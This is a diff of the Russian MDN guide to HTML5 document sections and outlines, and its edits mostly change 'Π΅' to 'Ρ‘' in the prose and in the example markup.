+<p>Π’ ΠΎΠ±Ρ‰Π΅ΠΌ, HTML5 обСспСчиваСт Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈ Π·Π°Π΄Π°Π½ΠΈΠΈ Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² ΠΈ ΠΎΠ³Π»Π°Π²Π»Π΅Π½ΠΈΠΉ, позволяя ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€Π΅Π΄ΡΠΊΠ°Π·ΡƒΠ΅ΠΌΡƒΡŽ структуру Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Ρ‡Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ качСствСнно ΠΎΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.</p>
<h2 id="Алгоритм_создания_структуры_HTML5">Алгоритм создания структуры HTML5</h2>
@@ -106,7 +106,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
Β  &lt;p&gt;(c) 2010 The Example company&lt;/p&gt;
&lt;/footer&gt;</pre>
-<p>Π”Π°Π½Π½Ρ‹ΠΉ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ HTML Π·Π°Π΄Π°Π΅Ρ‚ Ρ€Π°Π·Π΄Π΅Π» Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня:</p>
+<p>Π”Π°Π½Π½Ρ‹ΠΉ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ HTML Π·Π°Π΄Π°Ρ‘Ρ‚ Ρ€Π°Π·Π΄Π΅Π» Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня:</p>
<pre class="notranslate"><span style="color: red;">&lt;section&gt;
Β  &lt;h1&gt;ЛСсныС слоны&lt;/h1&gt;
@@ -159,9 +159,9 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
<h3 id="Π—Π°Π΄Π°Π½ΠΈΠ΅_Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ²_Π²_HTML5">Π—Π°Π΄Π°Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² Π² HTML5</h3>
-<p>Π₯отя структура опрСдСляСтся элСмСнтами задания структуры, ΠΎΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ практичСски бСсполСзна Π±Π΅Π· Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°. ОсновноС ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ ΠΎΡ‡Π΅Π½ΡŒ простой: ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° (это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}) Π·Π°Π΄Π°Π΅Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π°.</p>
+<p>Π₯отя структура опрСдСляСтся элСмСнтами задания структуры, ΠΎΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ практичСски бСсполСзна Π±Π΅Π· Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°. ОсновноС ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ ΠΎΡ‡Π΅Π½ΡŒ простой: ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° (это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}) Π·Π°Π΄Π°Ρ‘Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π°.</p>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ <em>ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ ваТности,</em> ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅ΠΌΡƒΡŽ Ρ†ΠΈΡ„Ρ€ΠΎΠΉ Π² Π΅Π³ΠΎ Π½Π°Π·Π²Π°Π½ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, {{HTMLElement("h1")}} ΠΈΠΌΠ΅Π΅Ρ‚ <em>ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ</em> ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ ваТности, Π° {{HTMLElement("h6")}} <em>ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ</em>. Π‘ΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ стСпСнСй ваТности ΠΈΠΌΠ΅Π΅Ρ‚ смысл Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π°; структура Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° опрСдСляСтся структурами Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ², Π° Π½Π΅ ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒΡŽ ваТности Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ². НапримСр, Π΄Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄:</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ <em>ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ ваТности,</em> ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅ΠΌΡƒΡŽ Ρ†ΠΈΡ„Ρ€ΠΎΠΉ Π² Π΅Π³ΠΎ Π½Π°Π·Π²Π°Π½ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, {{HTMLElement("h1")}} ΠΈΠΌΠ΅Π΅Ρ‚ <em>ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ</em> ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ ваТности, Π° {{HTMLElement("h6")}} <em>ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ</em>. Π‘ΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ стСпСнСй ваТности ΠΈΠΌΠ΅Π΅Ρ‚ смысл Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π°; структура Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° опрСдСляСтся структурами Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ², Π° Π½Π΅ ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒΡŽ ваТности Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ². НапримСр, Π΄Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄:</p>
<pre class="brush:xml notranslate">&lt;section&gt;
Β  &lt;h1&gt;ЛСсныС слоны&lt;/h1&gt;
@@ -248,10 +248,10 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
<p>ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ структурС:</p>
<pre class="notranslate">1. ΠœΠ»Π΅ΠΊΠΎΠΏΠΈΡ‚Π°ΡŽΡ‰ΠΈΠ΅
- 1.1 <em>ΠšΠΈΡ‚Ρ‹ (нСявно задаСтся элСмСнтом h2)</em>
- 1.2 ЛСсныС слоны <em>(явным ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ задаСтся элСмСнтом Ρ€Π°Π·Π΄Π΅Π»Π°)</em>
- 1.3 Монгольская пСсчанка <em>(нСявно задаСтся элСмСнтом h3, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ Π·Π°ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ Ρ€Π°Π·Π΄Π΅Π»)</em>
-2. <em>Π Π΅ΠΏΡ‚ΠΈΠ»ΠΈΠΈ (нСявно задаСтся элСмСнтом h2, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ Π·Π°ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ Ρ€Π°Π·Π΄Π΅Π»)</em>
+ 1.1 <em>ΠšΠΈΡ‚Ρ‹ (нСявно задаётся элСмСнтом h2)</em>
+ 1.2 ЛСсныС слоны <em>(явным ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ задаётся элСмСнтом Ρ€Π°Π·Π΄Π΅Π»Π°)</em>
+ 1.3 Монгольская пСсчанка <em>(нСявно задаётся элСмСнтом h3, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ Π·Π°ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ Ρ€Π°Π·Π΄Π΅Π»)</em>
+2. <em>Π Π΅ΠΏΡ‚ΠΈΠ»ΠΈΠΈ (нСявно задаётся элСмСнтом h2, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ Π·Π°ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ Ρ€Π°Π·Π΄Π΅Π»)</em>
</pre>
<p>Π­Ρ‚Π° Π½Π΅ Ρ‚Π° структура, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ, Π±Π΅Π³Π»ΠΎ просмотрСв Ρ‚Π΅Π³ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ². Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° стала понятна Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΡƒ, Π° Ρ‚Π°ΠΊΠΆΠ΅ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ ваТности Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° соотвСтствовала ΡƒΡ€ΠΎΠ²Π½ΡŽ влоТСнности Ρ€Π°Π·Π΄Π΅Π»Π°, рСкомСндуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ наглядныС Ρ‚Π΅Π³ΠΈ для открытия ΠΈ закрытия Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ². Однако спСцификация HTML5 этого Π½Π΅ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ структуру Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π½Π΅ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ оТидалось, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅, Π½Π΅Ρ‚ Π»ΠΈ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ², Π½Π΅ явно Π·Π°ΠΊΡ€Ρ‹Ρ‚Ρ‹Ρ… элСмСнтами Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ².</p>
@@ -260,7 +260,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
<h3 id="ΠšΠΎΡ€Π½ΠΈ_задания_Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ²"><a name="sectioning_root">ΠšΠΎΡ€Π½ΠΈ задания Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ²</a></h3>
-<p>Β <a id="sectioning root" name="sectioning root">ΠšΠΎΡ€Π΅Π½ΡŒ задания Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ²</a> – это элСмСнт HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ структуру, ΠΎΠ΄Π½Π°ΠΊΠΎ входящиС Π² Π½Π΅Π΅ Ρ€Π°Π·Π΄Π΅Π»Ρ‹ ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, Π½Π΅ входят Π² структуру Π΅Π³ΠΎ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта. Помимо {{HTMLElement("body")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся логичСским ΠΊΠΎΡ€Π½Π΅ΠΌ задания Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Ρ‚Π°ΠΊΠΈΠΌΠΈ элСмСнтами часто ΡΠ²Π»ΡΡŽΡ‚ΡΡ элСмСнты, Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ внСшний ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π° страницу: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} ΠΈ {{HTMLElement("td")}}.</p>
+<p>Β <a id="sectioning root" name="sectioning root">ΠšΠΎΡ€Π΅Π½ΡŒ задания Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ²</a> – это элСмСнт HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ структуру, ΠΎΠ΄Π½Π°ΠΊΠΎ входящиС Π² Π½Π΅Ρ‘ Ρ€Π°Π·Π΄Π΅Π»Ρ‹ ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, Π½Π΅ входят Π² структуру Π΅Π³ΠΎ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта. Помимо {{HTMLElement("body")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся логичСским ΠΊΠΎΡ€Π½Π΅ΠΌ задания Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Ρ‚Π°ΠΊΠΈΠΌΠΈ элСмСнтами часто ΡΠ²Π»ΡΡŽΡ‚ΡΡ элСмСнты, Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ внСшний ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π° страницу: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} ΠΈ {{HTMLElement("td")}}.</p>
<p>НапримСр:</p>
@@ -272,10 +272,10 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
Β  &lt;/section&gt;
Β  &lt;section&gt;
Β Β Β  &lt;h2&gt;Π‘Ρ€Π΅Π΄Π° обитания&lt;/h2&gt;
-Β Β Β  &lt;p&gt;ЛСсныС слоны ΠΆΠΈΠ²ΡƒΡ‚ Π½Π΅ Π½Π° Π΄Π΅Ρ€Π΅Π²ΡŒΡΡ…, Π° ΠΏΠΎΠ΄ Π½ΠΈΠΌΠΈ. Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим, Ρ‡Ρ‚ΠΎ говорят ΡƒΡ‡Π΅Π½Ρ‹Π΅ Π² Β«&lt;cite&gt;ЛСсной слон Π½Π° Π‘ΠΎΡ€Π½Π΅ΠΎ&lt;/cite&gt;Β»:&lt;/p&gt;
+Β Β Β  &lt;p&gt;ЛСсныС слоны ΠΆΠΈΠ²ΡƒΡ‚ Π½Π΅ Π½Π° Π΄Π΅Ρ€Π΅Π²ΡŒΡΡ…, Π° ΠΏΠΎΠ΄ Π½ΠΈΠΌΠΈ. Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим, Ρ‡Ρ‚ΠΎ говорят ΡƒΡ‡Ρ‘Π½Ρ‹Π΅ Π² Β«&lt;cite&gt;ЛСсной слон Π½Π° Π‘ΠΎΡ€Π½Π΅ΠΎ&lt;/cite&gt;Β»:&lt;/p&gt;
Β Β Β  &lt;blockquote&gt;
Β Β Β Β Β Β  &lt;h1&gt;Π‘ΠΎΡ€Π½Π΅ΠΎ&lt;/h1&gt;
-Β Β Β Β Β Β  &lt;p&gt;ЛСсной слон ΠΆΠΈΠ²Π΅Ρ‚ Π½Π° Π‘ΠΎΡ€Π½Π΅ΠΎ...&lt;/p&gt;
+Β Β Β Β Β Β  &lt;p&gt;ЛСсной слон ΠΆΠΈΠ²Ρ‘Ρ‚ Π½Π° Π‘ΠΎΡ€Π½Π΅ΠΎ...&lt;/p&gt;
Β Β Β  &lt;/blockquote&gt;
Β  &lt;/section&gt;
&lt;/section&gt;
@@ -294,8 +294,8 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
<p>Β HTML5 Π²Π²ΠΎΠ΄ΠΈΡ‚ Π΄Π²Π° Π½ΠΎΠ²Ρ‹Ρ… элСмСнта, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΡ… Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Ρ‹, Π½Π΅ входящиС Π² ΠΎΡΠ½ΠΎΠ²Π½ΡƒΡŽ структуру Π²Π΅Π±-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°:</p>
<ol>
- <li>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π° {{HTMLElement("aside")}} Π·Π°Π΄Π°Π΅Ρ‚ Ρ€Π°Π·Π΄Π΅Π», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ, хотя ΠΈ связан с основным элСмСнтом, Π½Π΅ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ ΠΊ основной структурС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΡΡΠ½ΡΡŽΡ‰Π°Ρ Π·Π°ΠΌΠ΅Ρ‚ΠΊΠ° ΠΈΠ»ΠΈ Ρ€Π΅ΠΊΠ»Π°ΠΌΠ°. Он ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ структуру, ΠΎΠ΄Π½Π°ΠΊΠΎ Π½Π΅ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ Π² ΠΎΡΠ½ΠΎΠ²Π½ΡƒΡŽ структуру страницы.</li>
- <li>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π° {{HTMLElement("nav")}} Π·Π°Π΄Π°Π΅Ρ‚ Ρ€Π°Π·Π΄Π΅Π», содСрТащий Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ ссылки. Π’Π°ΠΊΠΈΡ… элСмСнтов Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ нСсколько, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠ΄ΠΈΠ½ со Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΌΠΈ ссылками Π½Π° страницу, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠ³Π»Π°Π²Π»Π΅Π½ΠΈΠ΅, Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ – с ссылками для Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΏΠΎ сайту. Π’Π°ΠΊΠΈΠ΅ ссылки Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ основной структуры Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ ΠΏΡ€ΠΎΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ экранными Π΄ΠΈΠΊΡ‚ΠΎΡ€Π°ΠΌΠΈ.</li>
+ <li>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π° {{HTMLElement("aside")}} Π·Π°Π΄Π°Ρ‘Ρ‚ Ρ€Π°Π·Π΄Π΅Π», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ, хотя ΠΈ связан с основным элСмСнтом, Π½Π΅ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ ΠΊ основной структурС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΡΡΠ½ΡΡŽΡ‰Π°Ρ Π·Π°ΠΌΠ΅Ρ‚ΠΊΠ° ΠΈΠ»ΠΈ Ρ€Π΅ΠΊΠ»Π°ΠΌΠ°. Он ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ структуру, ΠΎΠ΄Π½Π°ΠΊΠΎ Π½Π΅ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ Π² ΠΎΡΠ½ΠΎΠ²Π½ΡƒΡŽ структуру страницы.</li>
+ <li>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π° {{HTMLElement("nav")}} Π·Π°Π΄Π°Ρ‘Ρ‚ Ρ€Π°Π·Π΄Π΅Π», содСрТащий Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ ссылки. Π’Π°ΠΊΠΈΡ… элСмСнтов Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ нСсколько, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠ΄ΠΈΠ½ со Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΌΠΈ ссылками Π½Π° страницу, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠ³Π»Π°Π²Π»Π΅Π½ΠΈΠ΅, Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ – с ссылками для Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΏΠΎ сайту. Π’Π°ΠΊΠΈΠ΅ ссылки Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ основной структуры Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ ΠΏΡ€ΠΎΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ экранными Π΄ΠΈΠΊΡ‚ΠΎΡ€Π°ΠΌΠΈ.</li>
</ol>
<h3 id="Π¨Π°ΠΏΠΊΠΈ_ΠΈ_ΠΏΠΎΠ΄Π²Π°Π»Ρ‹">Π¨Π°ΠΏΠΊΠΈ ΠΈ ΠΏΠΎΠ΄Π²Π°Π»Ρ‹</h3>
@@ -303,8 +303,8 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
<p>HTML5 Ρ‚Π°ΠΊΠΆΠ΅ добавляСт Π΄Π²Π° Π½ΠΎΠ²Ρ‹Ρ… элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ ΠΈ Π½ΠΈΠΆΠ½Π΅Π³ΠΎ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ»ΠΎΠ² страниц:</p>
<ol>
- <li>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ шапки {{HTMLElement("header")}} Π·Π°Π΄Π°Π΅Ρ‚ ΡˆΠ°ΠΏΠΊΡƒ страницы (ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π»ΠΎΠ³ΠΎΡ‚ΠΈΠΏ ΠΈ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ сайта, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ΅ мСню, Ссли имССтся) ΠΈΠ»ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π° (которая ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ€Π°Π·Π΄Π΅Π»Π°, имя Π°Π²Ρ‚ΠΎΡ€Π° ΠΈ Ρ‚.Π΄.).{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, ΠΈ {{HTMLElement("nav")}} ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ собствСнный {{HTMLElement("header")}}. НСсмотря Π½Π° Π½Π°Π·Π²Π°Π½ΠΈΠ΅, этот элСмСнт Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ располагаСтся Π² Π½Π°Ρ‡Π°Π»Π΅ страницы ΠΈΠ»ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π°.</li>
